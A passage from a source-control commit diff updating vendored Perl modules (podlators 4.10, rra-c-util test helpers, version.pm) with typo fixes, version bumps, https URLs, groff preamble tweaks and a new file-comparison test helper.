             my @options = (output => 1, details => 1);
-            my $flag = (PerlIO::get_layers ($$self{output_fh}, @options))[-1];
-            if ($flag & PerlIO::F_UTF8 ()) {
+            my @layers = PerlIO::get_layers (*{$$self{output_fh}}, @options);
+            if ($layers[-1] & PerlIO::F_UTF8 ()) {
                 $$self{ENCODE} = 0;
             }
         }
@@ -934,7 +937,7 @@
 #
 # If POD_MAN_DATE is set, that overrides anything else.  This can be used for
 # reproducible generation of the same file even if the input file timestamps
-# are unpredictable or the POD coms from standard input.
+# are unpredictable or the POD comes from standard input.
 #
 # Otherwise, if SOURCE_DATE_EPOCH is set and can be parsed as seconds since
 # the UNIX epoch, base the timestamp on that.  See
@@ -1392,7 +1395,7 @@
     my $self = shift;
     $self->reinit;
 
-    # Fake the old cutting option to Pod::Parser.  This fiddings with internal
+    # Fake the old cutting option to Pod::Parser.  This fiddles with internal
     # Pod::Simple state and is quite ugly; we need a better approach.
     if (ref ($_[0]) eq 'HASH') {
         my $opts = shift @_;
@@ -1553,16 +1556,20 @@
 .\" Avoid warning from groff about undefined register 'F'.
 .de IX
 ..
-.if !\nF .nr F 0
-.if \nF>0 \{\
-.    de IX
-.    tm Index:\\$1\t\\n%\t"\\$2"
+.nr rF 0
+.if \n(.g .if rF .nr rF 1
+.if (\n(rF:(\n(.g==0)) \{\
+.    if \nF \{\
+.        de IX
+.        tm Index:\\$1\t\\n%\t"\\$2"
 ..
-.    if !\nF==2 \{\
-.        nr % 0
-.        nr F 2
+.        if !\nF==2 \{\
+.            nr % 0
+.            nr F 2
+.        \}
 .    \}
 .\}
+.rr rF
 ----END OF PREAMBLE----
 #'# for cperl-mode
 
@@ -2016,7 +2023,7 @@
 =head1 COPYRIGHT AND LICENSE
 
 Copyright 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008,
-2009, 2010, 2012, 2013, 2014, 2015, 2016 Russ Allbery <rra at cpan.org>
+2009, 2010, 2012, 2013, 2014, 2015, 2016, 2017 Russ Allbery <rra at cpan.org>
 
 This program is free software; you may redistribute it and/or modify it
 under the same terms as Perl itself.
@@ -2029,8 +2036,7 @@
 Ossanna, Joseph F., and Brian W. Kernighan.  "Troff User's Manual,"
 Computing Science Technical Report No. 54, AT&T Bell Laboratories.  This is
 the best documentation of standard B<nroff> and B<troff>.  At the time of
-this writing, it's available at
-L<http://www.cs.bell-labs.com/cm/cs/cstr.html>.
+this writing, it's available at L<http://www.troff.org/54.pdf>.
 
 The man page documenting the man macro set may be L<man(5)> instead of
 L<man(7)> on your system.  Also, please see L<pod2man(1)> for extensive

Modified: vendor/perl/dist/cpan/podlators/lib/Pod/ParseLink.pm
===================================================================
--- vendor/perl/dist/cpan/podlators/lib/Pod/ParseLink.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/lib/Pod/ParseLink.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,7 +31,7 @@
 @ISA    = qw(Exporter);
 @EXPORT = qw(parselink);
 
-$VERSION = '4.09';
+$VERSION = '4.10';
 
 ##############################################################################
 # Implementation

Modified: vendor/perl/dist/cpan/podlators/lib/Pod/Text/Color.pm
===================================================================
--- vendor/perl/dist/cpan/podlators/lib/Pod/Text/Color.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/lib/Pod/Text/Color.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -27,7 +27,7 @@
 
 @ISA = qw(Pod::Text);
 
-$VERSION = '4.09';
+$VERSION = '4.10';
 
 ##############################################################################
 # Overrides

Modified: vendor/perl/dist/cpan/podlators/lib/Pod/Text/Overstrike.pm
===================================================================
--- vendor/perl/dist/cpan/podlators/lib/Pod/Text/Overstrike.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/lib/Pod/Text/Overstrike.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -35,13 +35,13 @@
 
 @ISA = qw(Pod::Text);
 
-$VERSION = '4.09';
+$VERSION = '4.10';
 
 ##############################################################################
 # Overrides
 ##############################################################################
 
-# Make level one headings bold, overridding any existing formatting.
+# Make level one headings bold, overriding any existing formatting.
 sub cmd_head1 {
     my ($self, $attrs, $text) = @_;
     $text =~ s/\s+$//;

Modified: vendor/perl/dist/cpan/podlators/lib/Pod/Text/Termcap.pm
===================================================================
--- vendor/perl/dist/cpan/podlators/lib/Pod/Text/Termcap.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/lib/Pod/Text/Termcap.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -28,7 +28,7 @@
 
 @ISA = qw(Pod::Text);
 
-$VERSION = '4.09';
+$VERSION = '4.10';
 
 ##############################################################################
 # Overrides

Modified: vendor/perl/dist/cpan/podlators/lib/Pod/Text.pm
===================================================================
--- vendor/perl/dist/cpan/podlators/lib/Pod/Text.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/lib/Pod/Text.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -39,7 +39,7 @@
 # We have to export pod2text for backward compatibility.
 @EXPORT = qw(pod2text);
 
-$VERSION = '4.09';
+$VERSION = '4.10';
 
 # Ensure that $Pod::Simple::nbsp and $Pod::Simple::shy are available.  Code
 # taken from Pod::Simple 3.32, but was only added in 3.30.
@@ -707,7 +707,7 @@
     my $self = shift;
     $self->reinit;
 
-    # Fake the old cutting option to Pod::Parser.  This fiddings with internal
+    # Fake the old cutting option to Pod::Parser.  This fiddles with internal
     # Pod::Simple state and is quite ugly; we need a better approach.
     if (ref ($_[0]) eq 'HASH') {
         my $opts = shift @_;

Modified: vendor/perl/dist/cpan/podlators/scripts/pod2man.PL
===================================================================
--- vendor/perl/dist/cpan/podlators/scripts/pod2man.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/scripts/pod2man.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -47,7 +47,7 @@
 # pod2man -- Convert POD data to formatted *roff input.
 #
 # Copyright 1999, 2000, 2001, 2004, 2006, 2008, 2010, 2012, 2013, 2014, 2015,
-#     2016 Russ Allbery <rra at cpan.org>
+#     2016, 2017 Russ Allbery <rra at cpan.org>
 #
 # This program is free software; you may redistribute it and/or modify it
 # under the same terms as Perl itself.
@@ -113,7 +113,11 @@
     $parser->parse_from_file (@files);
     if ($parser->{CONTENTLESS}) {
         $status = 1;
-        warn "$0: unable to format $files[0]\n";
+        if (defined $files[0]) {
+            warn "$0: unable to format $files[0]\n";
+        } else {
+            warn "$0: unable to format standard input\n";
+        }
         if (defined ($files[1]) and $files[1] ne '-') {
             unlink $files[1] unless (-s $files[1]);
         }
@@ -428,7 +432,7 @@
 =head1 COPYRIGHT AND LICENSE
 
 Copyright 1999, 2000, 2001, 2004, 2006, 2008, 2010, 2012, 2013, 2014,
-2015, 2016 Russ Allbery <rra at cpan.org>
+2015, 2016, 2017 Russ Allbery <rra at cpan.org>
 
 This program is free software; you may redistribute it and/or modify it
 under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/podlators/scripts/pod2text.PL
===================================================================
--- vendor/perl/dist/cpan/podlators/scripts/pod2text.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/scripts/pod2text.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -47,7 +47,7 @@
 # pod2text -- Convert POD data to formatted ASCII text.
 #
 # Copyright 1999, 2000, 2001, 2004, 2006, 2008, 2010, 2012, 2013, 2014, 2015,
-#     2016 Russ Allbery <rra at cpan.org>
+#     2016, 2017 Russ Allbery <rra at cpan.org>
 #
 # This program is free software; you may redistribute it and/or modify it
 # under the same terms as Perl itself.
@@ -123,7 +123,11 @@
     $parser->parse_from_file ($input, $output);
     if ($parser->{CONTENTLESS}) {
         $status = 1;
-        warn "$0: unable to format $input\n";
+        if (defined $input) {
+            warn "$0: unable to format $input\n";
+        } else {
+            warn "$0: unable to format standard input\n";
+        }
         if (defined ($output) and $output ne '-') {
             unlink $output unless (-s $output);
         }
@@ -358,7 +362,7 @@
 =head1 COPYRIGHT AND LICENSE
 
 Copyright 1999, 2000, 2001, 2004, 2006, 2008, 2010, 2012, 2013, 2014, 2015,
-2016 Russ Allbery <rra at cpan.org>
+2016, 2017 Russ Allbery <rra at cpan.org>
 
 This program is free software; you may redistribute it and/or modify it
 under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/podlators/t/data/basic.cap
===================================================================
--- vendor/perl/dist/cpan/podlators/t/data/basic.cap	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/data/basic.cap	2018-12-22 22:55:19 UTC (rev 12126)
@@ -172,12 +172,12 @@
     Of course I should still be able to do all this with escape sequences too:
     "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}".
 
-    Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
+    Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
 
     And make sure that 0 works too!
 
     Now, if I use << or >> as my delimiters, then I have to use whitespace. So
-    things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end up
+    things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end up
     doing what you might expect since the first > will still terminate the
     first < seen.
 

Modified: vendor/perl/dist/cpan/podlators/t/data/basic.clr
===================================================================
--- vendor/perl/dist/cpan/podlators/t/data/basic.clr	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/data/basic.clr	2018-12-22 22:55:19 UTC (rev 12126)
@@ -173,12 +173,12 @@
     Of course I should still be able to do all this with escape sequences
     too: "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}".
 
-    Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
+    Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
 
     And make sure that 0 works too!
 
     Now, if I use << or >> as my delimiters, then I have to use whitespace.
-    So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end
+    So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end
     up doing what you might expect since the first > will still terminate
     the first < seen.
 

Modified: vendor/perl/dist/cpan/podlators/t/data/basic.man
===================================================================
--- vendor/perl/dist/cpan/podlators/t/data/basic.man	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/data/basic.man	2018-12-22 22:55:19 UTC (rev 12126)
@@ -216,12 +216,12 @@
 too: \f(CW\*(C`$self\->method()\*(C'\fR and \f(CW\*(C`$self\->{FIELDNAME}\*(C'\fR and
 \&\f(CW\*(C`{FOO=>BAR}\*(C'\fR.
 .PP
-Dont forget \f(CW\*(C`$self\->method()\->{FIELDNAME} = {FOO=>BAR}\*(C'\fR.
+Don't forget \f(CW\*(C`$self\->method()\->{FIELDNAME} = {FOO=>BAR}\*(C'\fR.
 .PP
 And make sure that \f(CW0\fR works too!
 .PP
 Now, if I use << or >> as my delimiters, then I have to use whitespace.
-So things like \f(CW\*(C`<$self\-\*(C'\fR\fImethod()\fR>> and \f(CW\*(C`<$self\-\*(C'\fR{\s-1FIELDNAME\s0}>> wont end
+So things like \f(CW\*(C`<$self\-\*(C'\fR\fBmethod()\fR>> and \f(CW\*(C`<$self\-\*(C'\fR{\s-1FIELDNAME\s0}>> won't end
 up doing what you might expect since the first > will still terminate
 the first < seen.
 .PP

Modified: vendor/perl/dist/cpan/podlators/t/data/basic.ovr
===================================================================
--- vendor/perl/dist/cpan/podlators/t/data/basic.ovr	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/data/basic.ovr	2018-12-22 22:55:19 UTC (rev 12126)
@@ -173,12 +173,12 @@
     Of course I should still be able to do all this _w_i_t_h escape sequences
     too: "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}".
 
-    Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
+    Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
 
     And make sure that 0 works too!
 
     Now, if I use << or >> as my delimiters, then I have to use whitespace.
-    So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end
+    So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end
     up doing what you might expect since the first > will still terminate
     the first < seen.
 

Modified: vendor/perl/dist/cpan/podlators/t/data/basic.pod
===================================================================
--- vendor/perl/dist/cpan/podlators/t/data/basic.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/data/basic.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -268,12 +268,12 @@
 too: C<$self-E<gt>method()> and C<$self-E<gt>{FIELDNAME}> and
 C<{FOO=E<gt>BAR}>.
 
-Dont forget C<$self-E<gt>method()-E<gt>{FIELDNAME} = {FOO=E<gt>BAR}>.
+Don't forget C<$self-E<gt>method()-E<gt>{FIELDNAME} = {FOO=E<gt>BAR}>.
 
 And make sure that C<0> works too!
 
 Now, if I use << or >> as my delimiters, then I have to use whitespace.
-So things like C<<$self->method()>> and C<<$self->{FIELDNAME}>> wont end
+So things like C<<$self->method()>> and C<<$self->{FIELDNAME}>> won't end
 up doing what you might expect since the first > will still terminate
 the first < seen.
 

Modified: vendor/perl/dist/cpan/podlators/t/data/basic.txt
===================================================================
--- vendor/perl/dist/cpan/podlators/t/data/basic.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/data/basic.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -173,12 +173,12 @@
     Of course I should still be able to do all this *with* escape sequences
     too: "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}".
 
-    Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
+    Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
 
     And make sure that 0 works too!
 
     Now, if I use << or >> as my delimiters, then I have to use whitespace.
-    So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end
+    So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end
     up doing what you might expect since the first > will still terminate
     the first < seen.
 

Modified: vendor/perl/dist/cpan/podlators/t/data/snippets/man/error-stderr
===================================================================
--- vendor/perl/dist/cpan/podlators/t/data/snippets/man/error-stderr	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/data/snippets/man/error-stderr	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 [name]
-Errors to stadard error
+Errors to standard error
 
 [options]
 errors stderr

Modified: vendor/perl/dist/cpan/podlators/t/data/snippets/man/soft-hyphens
===================================================================
--- vendor/perl/dist/cpan/podlators/t/data/snippets/man/soft-hyphens	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/data/snippets/man/soft-hyphens	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 Soft hyphens
 
 [input]
-=head1 Soft Hypen Testing
+=head1 Soft Hyphen Testing
 
 sigE<shy>action
 manuE<shy>script
@@ -21,8 +21,8 @@
 JarkE<0x00AD>ko HieE<0x00AD>taE<0x00AD>nieE<0x00AD>mi
 
 [output]
-.SH "Soft Hypen Testing"
-.IX Header "Soft Hypen Testing"
+.SH "Soft Hyphen Testing"
+.IX Header "Soft Hyphen Testing"
 sig\%action
 manu\%script
 Jark\%ko Hie\%ta\%nie\%mi

Modified: vendor/perl/dist/cpan/podlators/t/docs/pod-spelling.t
===================================================================
--- vendor/perl/dist/cpan/podlators/t/docs/pod-spelling.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/docs/pod-spelling.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 # Check for spelling errors in POD documentation.
 #
 # The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
+# which can be found at <https://www.eyrie.org/~eagle/software/rra-c-util/>.
 #
 # Written by Russ Allbery <eagle at eyrie.org>
 # Copyright 2013, 2014

Modified: vendor/perl/dist/cpan/podlators/t/docs/pod.t
===================================================================
--- vendor/perl/dist/cpan/podlators/t/docs/pod.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/docs/pod.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 # Check all POD documents for POD formatting errors.
 #
 # The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
+# which can be found at <https://www.eyrie.org/~eagle/software/rra-c-util/>.
 #
 # Written by Russ Allbery <eagle at eyrie.org>
 # Copyright 2012, 2013, 2014

Modified: vendor/perl/dist/cpan/podlators/t/docs/synopsis.t
===================================================================
--- vendor/perl/dist/cpan/podlators/t/docs/synopsis.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/docs/synopsis.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 # Check the SYNOPSIS section of the documentation for syntax errors.
 #
 # The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
+# which can be found at <https://www.eyrie.org/~eagle/software/rra-c-util/>.
 #
 # Written by Russ Allbery <eagle at eyrie.org>
 # Copyright 2013, 2014

Modified: vendor/perl/dist/cpan/podlators/t/lib/Test/RRA/Config.pm
===================================================================
--- vendor/perl/dist/cpan/podlators/t/lib/Test/RRA/Config.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/lib/Test/RRA/Config.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -34,7 +34,7 @@
     # This version should match the corresponding rra-c-util release, but with
     # two digits for the minor version, including a leading zero if necessary,
     # so that it will sort properly.
-    $VERSION = '6.01';
+    $VERSION = '6.03';
 }
 
 # If C_TAP_BUILD or C_TAP_SOURCE are set in the environment, look for
@@ -214,9 +214,9 @@
 Test::Strict(3)
 
 This module is maintained in the rra-c-util package.  The current version is
-available from L<http://www.eyrie.org/~eagle/software/rra-c-util/>.
+available from L<https://www.eyrie.org/~eagle/software/rra-c-util/>.
 
 The C TAP Harness test driver and libraries for TAP-based C testing are
-available from L<http://www.eyrie.org/~eagle/software/c-tap-harness/>.
+available from L<https://www.eyrie.org/~eagle/software/c-tap-harness/>.
 
 =cut

Modified: vendor/perl/dist/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm
===================================================================
--- vendor/perl/dist/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,7 +31,7 @@
     # This version should match the corresponding rra-c-util release, but with
     # two digits for the minor version, including a leading zero if necessary,
     # so that it will sort properly.
-    $VERSION = '6.01';
+    $VERSION = '6.03';
 }
 
 # A regular expression matching the version string for a module using the
@@ -290,6 +290,6 @@
 Test::More(3), Test::RRA::Config(3)
 
 This module is maintained in the rra-c-util package.  The current version
-is available from L<http://www.eyrie.org/~eagle/software/rra-c-util/>.
+is available from L<https://www.eyrie.org/~eagle/software/rra-c-util/>.
 
 =cut

Modified: vendor/perl/dist/cpan/podlators/t/lib/Test/RRA.pm
===================================================================
--- vendor/perl/dist/cpan/podlators/t/lib/Test/RRA.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/lib/Test/RRA.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,6 +13,7 @@
 use warnings;
 
 use Exporter;
+use File::Temp;
 use Test::More;
 
 # For Perl 5.006 compatibility.
@@ -26,14 +27,58 @@
 # consistency is good).
 BEGIN {
     @ISA       = qw(Exporter);
-    @EXPORT_OK = qw(skip_unless_author skip_unless_automated use_prereq);
+    @EXPORT_OK = qw(
+      is_file_contents skip_unless_author skip_unless_automated use_prereq
+    );
 
     # This version should match the corresponding rra-c-util release, but with
     # two digits for the minor version, including a leading zero if necessary,
     # so that it will sort properly.
-    $VERSION = '6.01';
+    $VERSION = '6.03';
 }
 
+# Compare a string to the contents of a file, similar to the standard is()
+# function, but to show the line-based unified diff between them if they
+# differ.
+#
+# $got      - The output that we received
+# $expected - The path to the file containing the expected output
+# $message  - The message to use when reporting the test results
+#
+# Returns: undef
+#  Throws: Exception on failure to read or write files or run diff
+sub is_file_contents {
+    my ($got, $expected, $message) = @_;
+
+    # If they're equal, this is simple.
+    open(my $fh, '<', $expected) or BAIL_OUT("Cannot open $expected: $!\n");
+    my $data = do { local $/ = undef; <$fh> };
+    close($fh) or BAIL_OUT("Cannot close $expected: $!\n");
+    if ($got eq $data) {
+        is($got, $data, $message);
+        return;
+    }
+
+    # Otherwise, we show a diff, but only if we have IPC::System::Simple.
+    eval { require IPC::System::Simple };
+    if ($@) {
+        ok(0, $message);
+        return;
+    }
+
+    # They're not equal.  Write out what we got so that we can run diff.
+    my $tmp     = File::Temp->new();
+    my $tmpname = $tmp->filename;
+    print {$tmp} $got or BAIL_OUT("Cannot write to $tmpname: $!\n");
+    my @command = ('diff', '-u', $expected, $tmpname);
+    my $diff = IPC::System::Simple::capturex([0 .. 1], @command);
+    diag($diff);
+
+    # Remove the temporary file and report failure.
+    ok(0, $message);
+    return;
+}
+
 # Skip this test unless author tests are requested.  Takes a short description
 # of what tests this script would perform, which is used in the skip message.
 # Calls plan skip_all, which will terminate the program.
@@ -225,7 +270,7 @@
 Test::More(3), Test::RRA::Automake(3), Test::RRA::Config(3)
 
 This module is maintained in the rra-c-util package.  The current version is
-available from L<http://www.eyrie.org/~eagle/software/rra-c-util/>.
+available from L<https://www.eyrie.org/~eagle/software/rra-c-util/>.
 
 The functions to control when tests are run use environment variables defined
 by the L<Lancaster

Modified: vendor/perl/dist/cpan/podlators/t/style/minimum-version.t
===================================================================
--- vendor/perl/dist/cpan/podlators/t/style/minimum-version.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/style/minimum-version.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 # Check that too-new features of Perl are not being used.
 #
 # The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
+# which can be found at <https://www.eyrie.org/~eagle/software/rra-c-util/>.
 #
 # Written by Russ Allbery <eagle at eyrie.org>
 # Copyright 2013, 2014

Modified: vendor/perl/dist/cpan/podlators/t/style/module-version.t
===================================================================
--- vendor/perl/dist/cpan/podlators/t/style/module-version.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/style/module-version.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -144,6 +144,6 @@
 =head1 SEE ALSO
 
 This module is maintained in the rra-c-util package.  The current version
-is available from L<http://www.eyrie.org/~eagle/software/rra-c-util/>.
+is available from L<https://www.eyrie.org/~eagle/software/rra-c-util/>.
 
 =cut

Modified: vendor/perl/dist/cpan/podlators/t/style/strict.t
===================================================================
--- vendor/perl/dist/cpan/podlators/t/style/strict.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/style/strict.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,9 +3,10 @@
 # Test Perl code for strict, warnings, and syntax.
 #
 # The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
+# which can be found at <https://www.eyrie.org/~eagle/software/rra-c-util/>.
 #
 # Written by Russ Allbery <eagle at eyrie.org>
+# Copyright 2016 Russ Allbery <eagle at eyrie.org>
 # Copyright 2013, 2014
 #     The Board of Trustees of the Leland Stanford Junior University
 #
@@ -39,8 +40,9 @@
 # Skip for normal user installs since this doesn't affect functionality.
 skip_unless_automated('Strictness tests');
 
-# Load prerequisite modules.
-use_prereq('Test::Strict');
+# Load prerequisite modules.  At least 0.25 is needed to recognize that having
+# use 5.012 or later automatically implies use strict.
+use_prereq('Test::Strict', '0.25');
 
 # Test everything in the distribution directory except the Build and
 # Makefile.PL scripts generated by Module::Build.  We also want to check use

Modified: vendor/perl/dist/cpan/podlators/t/text/options.t
===================================================================
--- vendor/perl/dist/cpan/podlators/t/text/options.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/t/text/options.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -71,7 +71,7 @@
         last if $_ eq "###\n";
         $expected .= $_;
     }
-    is ($output, $expected, "Ouput correct for test $n");
+    is ($output, $expected, "Output correct for test $n");
     open (ERR, "out$$.err") or die "Cannot open out$$.err: $!\n";
     my $errors;
     {

Modified: vendor/perl/dist/cpan/version/lib/version/regex.pm
===================================================================
--- vendor/perl/dist/cpan/version/lib/version/regex.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/lib/version/regex.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,10 +2,8 @@
 
 use strict;
 
-use vars qw($VERSION $CLASS $STRICT $LAX);
+our $VERSION = 0.9923;
 
-$VERSION = 0.9917;
-
 #--------------------------------------------------------------------------#
 # Version regexp components
 #--------------------------------------------------------------------------#
@@ -57,19 +55,19 @@
 
 # Strict decimal version number.
 
-my $STRICT_DECIMAL_VERSION =
+our $STRICT_DECIMAL_VERSION =
     qr/ $STRICT_INTEGER_PART $FRACTION_PART? /x;
 
 # Strict dotted-decimal version number.  Must have both leading "v" and
 # at least three parts, to avoid confusion with decimal syntax.
 
-my $STRICT_DOTTED_DECIMAL_VERSION =
+our $STRICT_DOTTED_DECIMAL_VERSION =
     qr/ v $STRICT_INTEGER_PART $STRICT_DOTTED_DECIMAL_PART{2,} /x;
 
 # Complete strict version number syntax -- should generally be used
 # anchored: qr/ \A $STRICT \z /x
 
-$STRICT =
+our $STRICT =
     qr/ $STRICT_DECIMAL_VERSION | $STRICT_DOTTED_DECIMAL_VERSION /x;
 
 #--------------------------------------------------------------------------#
@@ -80,7 +78,7 @@
 # allowing an alpha suffix or allowing a leading or trailing
 # decimal-point
 
-my $LAX_DECIMAL_VERSION =
+our $LAX_DECIMAL_VERSION =
     qr/ $LAX_INTEGER_PART (?: $FRACTION_PART | \. )? $LAX_ALPHA_PART?
 	|
 	$FRACTION_PART $LAX_ALPHA_PART?
@@ -92,7 +90,7 @@
 # enough, without the leading "v", Perl takes .1.2 to mean v0.1.2,
 # so when there is no "v", the leading part is optional
 
-my $LAX_DOTTED_DECIMAL_VERSION =
+our $LAX_DOTTED_DECIMAL_VERSION =
     qr/
 	v $LAX_INTEGER_PART (?: $LAX_DOTTED_DECIMAL_PART+ $LAX_ALPHA_PART? )?
 	|
@@ -105,7 +103,7 @@
 # The string 'undef' is a special case to make for easier handling
 # of return values from ExtUtils::MM->parse_version
 
-$LAX =
+our $LAX =
     qr/ undef | $LAX_DOTTED_DECIMAL_VERSION | $LAX_DECIMAL_VERSION /x;
 
 #--------------------------------------------------------------------------#

Modified: vendor/perl/dist/cpan/version/lib/version.pm
===================================================================
--- vendor/perl/dist/cpan/version/lib/version.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/lib/version.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,17 +8,20 @@
     warnings::register_categories(qw/version/);
 }
 
-use vars qw(@ISA $VERSION $CLASS $STRICT $LAX *declare *qv);
+our $VERSION = 0.9923;
+our $CLASS = 'version';
+our (@ISA, $STRICT, $LAX);
 
-$VERSION = 0.9917;
-$CLASS = 'version';
-
 # avoid using Exporter
 require version::regex;
 *version::is_lax = \&version::regex::is_lax;
 *version::is_strict = \&version::regex::is_strict;
 *LAX = \$version::regex::LAX;
+*LAX_DECIMAL_VERSION = \$version::regex::LAX_DECIMAL_VERSION;
+*LAX_DOTTED_DECIMAL_VERSION = \$version::regex::LAX_DOTTED_DECIMAL_VERSION;
 *STRICT = \$version::regex::STRICT;
+*STRICT_DECIMAL_VERSION = \$version::regex::STRICT_DECIMAL_VERSION;
+*STRICT_DOTTED_DECIMAL_VERSION = \$version::regex::STRICT_DOTTED_DECIMAL_VERSION;
 
 sub import {
     no strict 'refs';

Modified: vendor/perl/dist/cpan/version/lib/version.pod
===================================================================
--- vendor/perl/dist/cpan/version/lib/version.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/lib/version.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -266,10 +266,9 @@
 
 =head2 numify()
 
-Returns a value representing the object in a pure decimal form without
-trailing zeroes.
+Returns a value representing the object in a pure decimal.
 
- version->declare('v1.2')->numify;  # 1.002
+ version->declare('v1.2')->numify;  # 1.002000
  version->parse('1.2')->numify;     # 1.200
 
 =head2 stringify()
@@ -280,7 +279,7 @@
 a version object is interpolated into a string.
 
  version->declare('v1.2')->stringify;    # v1.2
- version->parse('1.200')->stringify;     # 1.200
+ version->parse('1.200')->stringify;     # 1.2
  version->parse(1.02_30)->stringify;     # 1.023
 
 =head1 EXPORTED FUNCTIONS

Modified: vendor/perl/dist/cpan/version/t/01base.t
===================================================================
--- vendor/perl/dist/cpan/version/t/01base.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/t/01base.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,11 +8,13 @@
 use File::Spec;
 
 BEGIN {
-    my $coretests = File::Spec->catpath(
